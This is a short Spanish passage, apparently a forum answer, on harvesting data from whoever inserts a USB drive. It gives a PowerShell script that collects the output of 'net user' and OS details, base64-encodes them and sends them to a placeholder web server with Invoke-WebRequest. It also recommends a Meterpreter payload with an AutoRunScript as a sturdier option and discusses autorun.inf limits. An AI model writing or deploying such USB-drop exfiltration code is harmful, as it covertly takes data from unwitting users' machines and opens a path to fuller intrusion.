el problema aquí es que solo tengo que obtener solo la información (no dañina) de la computadora / usuario que inserta el USB y no acceder directamente a su sistema
Por esto, entiendo que solo quieres algunos sysinfo, no credenciales reales.
Script de Powershell para publicar la información en una página:
$userinfo = net user
$sysinfo = Get-CimInstance Win32_OperatingSystem
$Text = $sysinfo + $userinfo
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$USERDATA =[Convert]::ToBase64String($Bytes)
Invoke-WebRequest http://www.yourserver.com/submit?userdata=$USERDATA
Tenga en cuenta que existen algunas limitaciones en cuanto a la política de ejecución. Creo que una solución mucho más robusta sería un Meterpreter con un AutoRunScript que recopila la información de los usuarios y sale inmediatamente.
Las computadoras modernas tampoco ejecutan automáticamente el autorun.inf, es probable que necesites la interacción del usuario.